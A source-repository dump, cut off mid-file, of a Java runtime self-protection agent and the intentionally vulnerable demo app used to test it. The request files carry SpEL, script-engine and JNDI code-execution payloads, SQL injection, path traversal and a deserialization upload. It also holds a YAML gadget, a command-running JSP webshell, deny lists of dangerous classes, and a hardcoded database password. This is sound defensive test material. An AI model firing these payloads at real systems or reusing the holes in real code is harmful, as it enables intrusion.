├── SecVulns ├── SecVulnsREST │ └── normal │ │ ├── case04-files │ │ ├── 1.txt │ │ ├── directory.http │ │ └── upload.http │ │ ├── libcmd.jnilib │ │ ├── case01-deserialization │ │ ├── cc4.bin │ │ └── original.http │ │ ├── case09-jndi.http │ │ ├── case12-jni.http │ │ ├── case03-code.http │ │ ├── case05-inject │ │ └── sql.http │ │ ├── case07-expression │ │ ├── spel.http │ │ └── ognl.http │ │ └── case02-exec.http ├── springboot2Demo │ ├── src │ │ └── main │ │ │ ├── resources │ │ │ ├── 1.txt │ │ │ └── flag.txt │ │ │ └── java │ │ │ └── com │ │ │ └── ppp │ │ │ └── vulns │ │ │ └── springboot2 │ │ │ ├── Springboot2DemoApplication.java │ │ │ └── controller │ │ │ ├── files │ │ │ ├── FileUtils.java │ │ │ ├── FileDirectoryController.java │ │ │ └── FileUploadController.java │ │ │ ├── JNIController.java │ │ │ ├── inject │ │ │ └── SQLMysqlController.java │ │ │ ├── JNDIController.java │ │ │ ├── serialization │ │ │ ├── XStreamController.java │ │ │ ├── FastjsonController.java │ │ │ ├── SnakeYamlController.java │ │ │ ├── SerializationController.java │ │ │ └── JacksonController.java │ │ │ ├── expression │ │ │ ├── SPELController.java │ │ │ └── OGNLController.java │ │ │ ├── DeserializationController.java │ │ │ ├── DemoController.java │ │ │ └── ExecController.java │ └── pom.xml ├── TomcatDemo │ ├── src │ │ └── main │ │ │ ├── webapp │ │ │ ├── WEB-INF │ │ │ │ ├── upload │ │ │ │ │ └── flag.txt │ │ │ │ └── web.xml │ │ │ └── expression │ │ │ │ ├── scriptlet.jsp │ │ │ │ ├── index.jsp │ │ │ │ └── el.jsp │ │ │ └── java │ │ │ └── com │ │ │ └── ppp │ │ │ └── vulns │ │ │ └── javax │ │ │ └── tomcat │ │ │ └── servlet │ │ │ ├── files │ │ │ ├── FileUtils.java │ │ │ ├── FileDirectory2Servlet.java │ │ │ ├── FileDirectoryServlet.java │ │ │ ├── FileUpload2Servlet.java │ │ │ └── FileUploadServlet.java │ │ │ ├── Base64DeSerializerServlet.java │ │ │ └── BinaryDeSerializerServlet.java │ └── pom.xml ├── vulnsCore │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── com │ │ │ │ └── ppp │ │ │ │ └── vulns │ │ │ │ └── core │ │ │ │ ├── vulns │ │ │ │ ├── expression │ │ │ │ │ ├── EL.java │ │ │ │ │ ├── SPEL.java │ │ │ │ │ └── OGNL.java │ │ │ │ ├── JNI.java │ │ │ │ ├── serialization │ │ │ │ │ ├── XStreamDemo.java │ │ │ │ │ ├── FastjsonDemo.java │ │ │ │ │ ├── SnakeYamlDemo.java │ │ │ │ │ ├── Original.java │ │ │ │ │ └── JacksonDemo.java │ │ │ │ ├── JNDI.java │ │ │ │ ├── files │ │ │ │ │ └── FileDirectory.java │ │ │ │ ├── Code.java │ │ │ │ ├── inject │ │ │ │ │ └── sql │ │ │ │ │ │ ├── Users.java │ │ │ │ │ │ ├── HQL.java │ │ │ │ │ │ └── SQL.java │ │ │ │ └── Exec.java │ │ │ │ └── safe │ │ │ │ ├── FileRead.java │ │ │ │ └── SPEL.java │ │ │ └── resources │ │ │ └── hibernate.cfg.xml │ └── pom.xml ├── pom.xml └── SecVulns.sql ├── ppprasp-agent ├── start.sh ├── src │ └── main │ │ ├── java │ │ └── com │ │ │ └── ppprasp │ │ │ └── agent │ │ │ ├── check │ │ │ ├── SqlChecker.java │ │ │ ├── DeserializationChecker.java │ │ │ ├── info │ │ │ │ ├── WhiteClassInfo.java │ │ │ │ └── BlackClassInfo.java │ │ │ ├── ExpressionChecker.java │ │ │ ├── ClassChecker.java │ │ │ └── CVEChecker.java │ │ │ ├── common │ │ │ ├── enums │ │ │ │ ├── Middleware.java │ │ │ │ ├── Status.java │ │ │ │ ├── VulInfo.java │ │ │ │ └── Algorithm.java │ │ │ ├── StackTracer.java │ │ │ ├── RASPContext.java │ │ │ ├── RASPManager.java │ │ │ └── RASPConfig.java │ │ │ ├── hook │ │ │ ├── source │ │ │ │ ├── bundle │ │ │ │ │ └── HttpBundle.java │ │ │ │ ├── DubboHook.java │ │ │ │ ├── WebSocketHook.java │ │ │ │ └── HttpHook.java │ │ │ ├── vul │ │ │ │ ├── JNIHook.java │ │ │ │ ├── SqlHook.java │ │ │ │ ├── FileDirectoryHook.java │ │ │ │ ├── JNDIHook.java │ │ │ │ ├── FileUploadHook.java │ │ │ │ ├── RceHook.java │ │ │ │ └── DeserializationHook.java │ │ │ └── memshell │ │ │ │ ├── JettyMemShellHook.java │ │ │ │ ├── SpringMemShellHook.java │ │ │ │ └── TomcatMemShellHook.java │ │ │ └── utils │ │ │ ├── FileCopyUtils.java │ │ │ ├── StreamUtils.java │ │ │ ├── Reflections.java │ │ │ └── InterfaceProxyUtils.java │ │ └── resources │ │ └── raspConfig.yml └── pom.xml ├── pom.xml └── README.md /SecVulns/SecVulnsREST/normal/case04-files/1.txt: -------------------------------------------------------------------------------- 1 | 1234 -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/resources/1.txt: -------------------------------------------------------------------------------- 1 | asasas -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/webapp/WEB-INF/upload/flag.txt: -------------------------------------------------------------------------------- 1 | flag{123} -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/resources/flag.txt: -------------------------------------------------------------------------------- 1 | flag{123xxx} -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/libcmd.jnilib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/PPPRASP/HEAD/SecVulns/SecVulnsREST/normal/libcmd.jnilib -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case01-deserialization/cc4.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/PPPRASP/HEAD/SecVulns/SecVulnsREST/normal/case01-deserialization/cc4.bin -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/expression/EL.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.expression; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class EL { 7 | } 8 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case09-jndi.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 lookup 3 | POST /jndi/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | url=ldap://127.0.0.1:1389/ju4je4 8 | 9 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/JNI.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class JNI { 7 | public static void load(String file) { 8 | System.load(file); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case12-jni.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 System.load 3 | POST /jni/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | file=/Users/ppp/Documents/pppRepository/github_file/PPPRASP/SecVulns/SecVulnsREST/libcmd.jnilib 8 | 9 | -------------------------------------------------------------------------------- /ppprasp-agent/start.sh: -------------------------------------------------------------------------------- 1 | mvn clean package -Dmaven.test.skip=true -Dmaven.javadoc.skip=true 2 | 3 | # rm -r ../sandbox/sandbox-module/* 4 | if [ "$(ls -A ../sandbox/sandbox-module/)" ]; then 5 | rm -r ../sandbox/sandbox-module/* 6 | fi 7 | 8 | mv target/ppprasp-agent-1.0.0-jar-with-dependencies.jar ../sandbox/sandbox-module/ -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/XStreamDemo.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.serialization; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class XStreamDemo { 7 | public static Object deserialize(final String xml) { 8 | com.thoughtworks.xstream.XStream xstream = new com.thoughtworks.xstream.XStream(); 9 | return xstream.fromXML(xml); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/SqlChecker.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check; 2 | 3 | /** 4 | * @author Whoopsunix 5 | * 6 | * sql注入检测 7 | */ 8 | public class SqlChecker { 9 | /** 10 | * todo sql 注入检查 11 | */ 12 | public static boolean isDangerous(String sql) { 13 | 14 | // todo 暂时全部返回 true 拦截,需要考察一下 词法\语法 分析引擎的能力后再考虑拓展 15 | return true; 16 | 17 | // return false; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case03-code.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 ScriptEngine 3 | POST /code/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec("ifconfig");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,"GBK").useDelimiter("\\A");var result = scanner.hasNext() ? scanner.next() : "";scanner.close();result; 8 | 9 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/FastjsonDemo.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.serialization; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONObject; 5 | 6 | /** 7 | * @author Whoopsunix 8 | */ 9 | public class FastjsonDemo { 10 | public static Object parseObject(String json){ 11 | JSONObject jsonObject = JSON.parseObject(json); 12 | return jsonObject; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case04-files/directory.http: -------------------------------------------------------------------------------- 1 | ### 2 | # listFiles 3 | POST /file/directory/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | filePath=../../../../../../../../../../../../../../../../etc/ 8 | 9 | ### 10 | # list 11 | POST /file/directory/case2 HTTP/1.1 12 | Host: 127.0.0.1:8080 13 | Content-Type: application/x-www-form-urlencoded 14 | 15 | filePath=../../../../../../../../../../../../../../../../etc/ -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case01-deserialization/original.http: -------------------------------------------------------------------------------- 1 | ### 2 | # 反序列化 3 | POST /deserialization/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | X-Token: hostname 6 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW 7 | 8 | ------WebKitFormBoundary7MA4YWxkTrZu0gW 9 | Content-Disposition: form-data; name="file"; filename="cc4.bin" 10 | Content-Type: application/octet-stream 11 | 12 | < ./cc4.bin 13 | ------WebKitFormBoundary7MA4YWxkTrZu0gW-- 14 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case05-inject/sql.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 mysql select 3 | POST /sql/mysql/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: application/x-www-form-urlencoded 6 | 7 | username=xxx' union select * from users#&password=123 8 | 9 | 10 | ### 11 | # case2 hql select 12 | POST /sql/hql/case1 HTTP/1.1 13 | Host: 127.0.0.1:8080 14 | Content-Type: application/x-www-form-urlencoded 15 | 16 | username=xxx' union select * from users#&password=123 17 | 18 | 19 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/Springboot2DemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Springboot2DemoApplication { 8 | public static void main(String[] args) { 9 | SpringApplication.run(Springboot2DemoApplication.class, args); 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/DeserializationChecker.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check; 2 | 3 | import com.ppprasp.agent.check.info.BlackClassInfo; 4 | 5 | /** 6 | * @author Whoopsunix 7 | * 8 | * 反序列化检测 9 | */ 10 | public class DeserializationChecker { 11 | public static boolean isDangerousClass(String className) { 12 | if (BlackClassInfo.sinkBlackClassMap.containsKey(className)) { 13 | return true; 14 | } 15 | 16 | return false; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/JNDI.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns; 2 | 3 | import javax.naming.InitialContext; 4 | 5 | /** 6 | * @author Whoopsunix 7 | */ 8 | public class JNDI { 9 | 10 | public static void main(String[] args) throws Exception{ 11 | lookup("ldap://127.0.0.1:1389/ju4je4"); 12 | } 13 | public static Object lookup(String url) throws Exception{ 14 | InitialContext ctx = new InitialContext(); 15 | return ctx.lookup(url); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Middleware.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common.enums; 2 | 3 | /** 4 | * @author Whoopsunix 5 | *

6 | * 组件信息 7 | */ 8 | public enum Middleware { 9 | Tomcat("Tomcat"), 10 | Spring("Spring"), 11 | Jetty("Jetty"), 12 | ; 13 | 14 | private final String description; 15 | 16 | Middleware(String description) { 17 | this.description = description; 18 | } 19 | 20 | public String getDescription() { 21 | return description; 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/serialization/SnakeYamlDemo.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.serialization; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class SnakeYamlDemo { 7 | public static void main(String[] args) { 8 | String payload = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://127.0.0.1:1099/prgojj\"\n autoCommit: true"; 9 | deserialize(payload); 10 | } 11 | public static Object deserialize(final String yaml) { 12 | org.yaml.snakeyaml.Yaml y = new org.yaml.snakeyaml.Yaml(); 13 | return y.load(yaml); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileUtils.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet.files; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class FileUtils { 7 | public static String getResourcePath(){ 8 | String resourcePath = Thread.currentThread().getContextClassLoader().getResource("").getPath(); 9 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 10 | if (resourcePath.startsWith("/")) { 11 | resourcePath = resourcePath.substring(1); 12 | } 13 | } 14 | return resourcePath; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/files/FileUtils.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.files; 2 | 3 | /** 4 | * @author Whoopsunix 5 | */ 6 | public class FileUtils { 7 | public static String getResourcePath(){ 8 | String resourcePath = Thread.currentThread().getContextClassLoader().getResource("").getPath(); 9 | if (System.getProperty("os.name").toLowerCase().contains("win")) { 10 | if (resourcePath.startsWith("/")) { 11 | resourcePath = resourcePath.substring(1); 12 | } 13 | } 14 | return resourcePath; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/info/WhiteClassInfo.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check.info; 2 | 3 | import com.ppprasp.agent.common.enums.Algorithm; 4 | 5 | import java.util.HashMap; 6 | 7 | /** 8 | * @author Whoopsunix 9 | * 10 | * 白名单名单统一维护 11 | * 12 | * 对于一些框架自调用的情况需要排查,比如各种 JSON 框架的生成 13 | */ 14 | public class WhiteClassInfo { 15 | /** 16 | * 调用栈白名单 17 | */ 18 | public static HashMap sinkBlackClassMap = new HashMap() {{ 19 | // Tomcat jsp 页面首次访问时编译成 Java 类 FileInputStream 20 | put("org.apache.jasper.JspCompilationContext", Algorithm.FileREAD); 21 | }}; 22 | 23 | 24 | } 25 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Status.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common.enums; 2 | 3 | /** 4 | * @author Whoopsunix 5 | * 6 | * 算法状态 7 | */ 8 | public enum Status { 9 | OPEN(1, "open"), 10 | CLOSE(0, "close"), 11 | LOG(-1, "log"), 12 | ; 13 | 14 | private final int value; 15 | private final String description; 16 | 17 | Status(int value, String description) { 18 | this.value = value; 19 | this.description = description; 20 | } 21 | 22 | public int getValue() { 23 | return value; 24 | } 25 | 26 | public String getDescription() { 27 | return description; 28 | } 29 | } -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/webapp/expression/scriptlet.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8" %> 2 |

Scriptlet 标记写法

3 | 4 | 5 |

无回显 - 反射构造Runtime

6 | <% "".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), request.getParameter("cmd"));%> 7 | 8 | <%--

拼接

--%> 9 | <%--<% Runtime.getRuntime().exec(Character.toString((char) 111).concat("pen -a Calculator.app")); %>--%> 10 | 11 | <%--

web路径

--%> 12 | <%--<%pageContext.servletContext.getResource("");%>--%> 13 | 14 | <%--

环境变量

--%> 15 | <%--<%applicationScope;%>--%> -------------------------------------------------------------------------------- /SecVulns/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | org.example 6 | SecVulns 7 | 1.0-SNAPSHOT 8 | pom 9 | 10 | SecVulns 11 | 12 | 13 | springboot2Demo 14 | TomcatDemo 15 | vulnsCore 16 | 17 | 18 | 19 | UTF-8 20 | 21 | 22 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | com.ppprasp 6 | PPPRASP 7 | 1.0-SNAPSHOT 8 | pom 9 | 10 | PPPRASP 11 | 12 | 13 | UTF-8 14 | 15 | 16 | 17 | ppprasp-agent 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /SecVulns/SecVulnsREST/normal/case07-expression/spel.http: -------------------------------------------------------------------------------- 1 | ### 2 | # case1 spel 3 | POST /spel/case1 HTTP/1.1 4 | Host: 127.0.0.1:8080 5 | Content-Type: text/plain 6 | 7 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next() 8 | 9 | 10 | ### 11 | # case2 spelStandardEvaluationContext 12 | POST /spel/case2 HTTP/1.1 13 | Host: 127.0.0.1:8080 14 | Content-Type: text/plain 15 | 16 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next() 17 | 18 | 19 | ### 20 | # case3 spelMethodBasedEvaluationContext 21 | POST /spel/case3 HTTP/1.1 22 | Host: 127.0.0.1:8080 23 | Content-Type: text/plain 24 | 25 | new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\A").next() 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/info/BlackClassInfo.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check.info; 2 | 3 | import java.util.HashMap; 4 | 5 | /** 6 | * @author Whoopsunix 7 | * 8 | * 黑名单统一维护 9 | */ 10 | public class BlackClassInfo { 11 | /** 12 | * 反序列化 sink 点 13 | */ 14 | public static HashMap sinkBlackClassMap = new HashMap() {{ 15 | put("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", null); 16 | put("org.apache.commons.collections.functors.InvokerTransformer", null); 17 | }}; 18 | 19 | /** 20 | * 基本危险类 21 | */ 22 | public static HashMap dangerousBlackClassMap = new HashMap() {{ 23 | put("java.lang.Runtime", null); 24 | put("java.lang.ProcessBuilder", null); 25 | }}; 26 | 27 | 28 | } 29 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/safe/FileRead.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.safe; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.ByteArrayInputStream; 5 | import java.io.InputStream; 6 | import java.io.InputStreamReader; 7 | 8 | /** 9 | * @author Whoopsunix 10 | */ 11 | public class FileRead { 12 | /** 13 | * 对照组 14 | */ 15 | public String read_InputStreamReader_text(String str) throws Exception { 16 | InputStream inputStream = new ByteArrayInputStream(str.getBytes()); 17 | 18 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream); 19 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader); 20 | String line; 21 | StringBuilder content = new StringBuilder(); 22 | while ((line = bufferedReader.readLine()) != null) { 23 | content.append(line).append("\n"); 24 | } 25 | bufferedReader.close(); 26 | return content.toString(); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/resources/hibernate.cfg.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | org.hibernate.dialect.MySQL5Dialect 7 | com.mysql.jdbc.Driver 8 | jdbc:mysql://127.0.0.1:3306/SecVulns 9 | root 10 | 123456 11 | update 12 | true 13 | 50 14 | 15 | 16 | -------------------------------------------------------------------------------- /SecVulns/TomcatDemo/src/main/java/com/ppp/vulns/javax/tomcat/servlet/files/FileDirectory2Servlet.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.javax.tomcat.servlet.files; 2 | 3 | import com.ppp.vulns.core.vulns.files.FileDirectory; 4 | 5 | import javax.servlet.annotation.MultipartConfig; 6 | import javax.servlet.annotation.WebServlet; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.util.Arrays; 11 | 12 | /** 13 | * @author Whoopsunix 14 | *

15 | * 路径遍历 16 | */ 17 | @MultipartConfig 18 | @WebServlet("/file/directory/case2") 19 | public class FileDirectory2Servlet extends HttpServlet { 20 | @Override 21 | protected void doPost(HttpServletRequest request, HttpServletResponse response) { 22 | String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); 23 | System.out.println(filePath); 24 | 25 | String[] dirs = FileDirectory.list(filePath); 26 | System.out.println(Arrays.toString(dirs)); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/hook/source/bundle/HttpBundle.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.hook.source.bundle; 2 | 3 | import javax.servlet.http.HttpServletRequest; 4 | import javax.servlet.http.HttpServletResponse; 5 | 6 | /** 7 | * @author Whoopsunix 8 | * 将 HTTP 请求中 request 和 response 封装为一个对象 9 | * 后续 HTTP 请求信息的完善都通过该对象 10 | */ 11 | public class HttpBundle { 12 | private HttpServletRequest request; 13 | private HttpServletResponse response; 14 | 15 | public HttpBundle(HttpServletRequest request, HttpServletResponse response) { 16 | this.request = request; 17 | this.response = response; 18 | } 19 | 20 | public HttpServletRequest getRequest() { 21 | return request; 22 | } 23 | 24 | public void setRequest(HttpServletRequest request) { 25 | this.request = request; 26 | } 27 | 28 | public HttpServletResponse getResponse() { 29 | return response; 30 | } 31 | 32 | public void setResponse(HttpServletResponse response) { 33 | this.response = response; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/JNIController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller; 2 | 3 | import com.ppp.vulns.core.vulns.JNI; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | 12 | /** 13 | * @author Whoopsunix 14 | */ 15 | @Controller 16 | @RequestMapping("/jni") 17 | public class JNIController { 18 | @RequestMapping("/case1") 19 | @ResponseBody 20 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { 21 | try { 22 | String file = request.getParameter("file"); 23 | System.out.println(file); 24 | JNI.load(file); 25 | 26 | return file; 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | return null; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/files/FileDirectory.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns.files; 2 | 3 | import java.io.File; 4 | import java.util.Arrays; 5 | 6 | /** 7 | * @author Whoopsunix 8 | * 9 | * 路径遍历 10 | */ 11 | public class FileDirectory { 12 | 13 | public static void main(String[] args) { 14 | String[] directory = listFiles("/tmp"); 15 | System.out.println(Arrays.toString(directory)); 16 | } 17 | 18 | public static String[] list(String filePath) { 19 | String[] files = new File(filePath).list(); 20 | return files; 21 | } 22 | 23 | public static String[] listFiles(String filePath) { 24 | File[] fileLists = new File(filePath).listFiles(); 25 | 26 | String[] arrayList = new String[]{}; 27 | 28 | for (File file : fileLists) { 29 | if (file.isFile()) { 30 | arrayList = Arrays.copyOf(arrayList, arrayList.length + 1); 31 | arrayList[arrayList.length - 1] = file.getName(); 32 | } 33 | } 34 | 35 | return arrayList; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/check/ExpressionChecker.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.check; 2 | 3 | import com.ppprasp.agent.check.info.BlackClassInfo; 4 | 5 | /** 6 | * @author Whoopsunix 7 | * 8 | * 表达式检测 9 | */ 10 | public class ExpressionChecker { 11 | 12 | /** 13 | * 危险类检查 语句检查 14 | * @param expression 15 | * @return 16 | */ 17 | public static boolean isDangerousClass(String expression) { 18 | for (String className: BlackClassInfo.dangerousBlackClassMap.keySet()){ 19 | if (expression.equalsIgnoreCase(className)) { 20 | return true; 21 | } 22 | } 23 | return false; 24 | } 25 | 26 | /** 27 | * OGNL 语句检查 28 | * @param expression 29 | * @return 30 | */ 31 | public static boolean isDangerousOGNLExpression(String expression) { 32 | for (String className: BlackClassInfo.dangerousBlackClassMap.keySet()){ 33 | if (expression.contains(className)) { 34 | return true; 35 | } 36 | } 37 | return false; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/Code.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.core.vulns; 2 | 3 | import javax.script.ScriptEngine; 4 | import javax.script.ScriptEngineManager; 5 | 6 | /** 7 | * @author Whoopsunix 8 | * 9 | * 代码注入 10 | */ 11 | public class Code { 12 | public static void main(String[] args) throws Exception{ 13 | Object re = scriptEngine(""); 14 | } 15 | 16 | /** 17 | * scriptEngine 代码注入 18 | * @param code 19 | * @return 20 | * @throws Exception 21 | */ 22 | // var runtime = java.lang./**/Runtime./**/getRuntime();var process = runtime.exec("hostname");var inputStream = process.getInputStream();var scanner = new java.util.Scanner(inputStream,"GBK").useDelimiter("\\A");var result = scanner.hasNext() ? scanner.next() : "";scanner.close();result; 23 | public static Object scriptEngine(String code) throws Exception { 24 | ScriptEngineManager manager = new ScriptEngineManager(); 25 | ScriptEngine engine = manager.getEngineByName("js"); 26 | Object object = engine.eval(code); 27 | return object; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/inject/SQLMysqlController.java: -------------------------------------------------------------------------------- 1 | package com.ppp.vulns.springboot2.controller.inject; 2 | 3 | import com.ppp.vulns.core.vulns.inject.sql.SQL; 4 | import org.springframework.stereotype.Controller; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | 11 | /** 12 | * @author Whoopsunix 13 | */ 14 | @Controller 15 | @RequestMapping("/sql/mysql") 16 | public class SQLMysqlController { 17 | @RequestMapping("/case1") 18 | @ResponseBody 19 | public Object case1(HttpServletRequest request, HttpServletResponse response) throws Exception { 20 | String username = request.getParameter("username"); 21 | String password = request.getParameter("password"); 22 | 23 | System.out.println(username); 24 | System.out.println(password); 25 | 26 | Object result = SQL.select(null, username, password); 27 | return result; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/VulInfo.java: -------------------------------------------------------------------------------- 1 | package com.ppprasp.agent.common.enums; 2 | 3 | /** 4 | * @author Whoopsunix 5 | * 6 | * 漏洞描述信息 7 | */ 8 | public enum VulInfo { 9 | DESERIALIZATION("Deserialization"), 10 | XMLDeserialization("XMLDeserialization"), 11 | SPEL("SPEL Expression"), 12 | OGNL("OGNL Expression"), 13 | JXpath("JXpath Expression"), 14 | JNI("JNI file load"), 15 | JNDI("JNDI Injection"), 16 | RCE("RCE"), 17 | SQL("SQL Injection"), 18 | FileUpload("File Upload"), 19 | FileRead("File Read"), 20 | FileDirectory("File 